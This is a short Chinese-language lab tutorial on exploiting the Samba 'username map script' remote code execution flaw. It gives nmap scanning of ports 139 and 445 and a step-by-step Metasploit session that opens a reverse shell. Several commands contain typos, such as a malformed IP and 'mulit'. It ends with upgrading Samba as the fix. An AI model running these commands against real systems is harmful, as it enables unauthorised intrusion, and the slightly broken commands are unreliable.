samba介绍
Samba是在Linux和UNIX系统上实现SMB文件共享协议的一个免费软件,由服务器及客户端程序构成。SMB(Server Message Block,信息服务块)是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。
一般运行在139、445端口。如果目标开启了445,应该是开启了支持smb协议的一个软件,139也是它的一个证明
探测目标samba
使用nmap -sV -p 139,445 IP地址 探测目标端口服务版本信息。
nmap -sV -p 139,445 192.168.1.106
metasploit漏洞利用
在metasploit中集成了利用samba usermap RCE的脚本
exploit/mulit/samba/usermap_script
之后就可以执行系统的命令
back
//退回
use exploit/multi/samba/usermap_script
show options
set rhosts 192.168.106
show options
查看设置是否成功,运程端口,也可以改成445
show payloads
可以查看我们当前模块支持的payload,这里我们将使用一个反弹的payload
set payload cmd/unix/reverse
show options
ifconfig
set lhosts 192.168.1.105
show options
可以看到默认情况下,是反弹到4444端口
exploit
ifconfig
id
whoami
hostname
以上,我们就使用metasploit中,集成的usermap_script rce漏洞脚本,利用了samba当中的一个漏洞工具,成功的集成了系统的命令,起到了远程代码执行的效果
防御修复
在metasploit show info可以查看漏洞信息
表示samba在3.0.20到3.0.25之间的选项,使得我们存在一个可以执行远程命令执行的一个漏洞,我们可以执行修复策略,升级samba,使得我们不在版本范围之内,避免出现username map这个漏洞,避免服务器被远程代码执行
show info
查看详细信息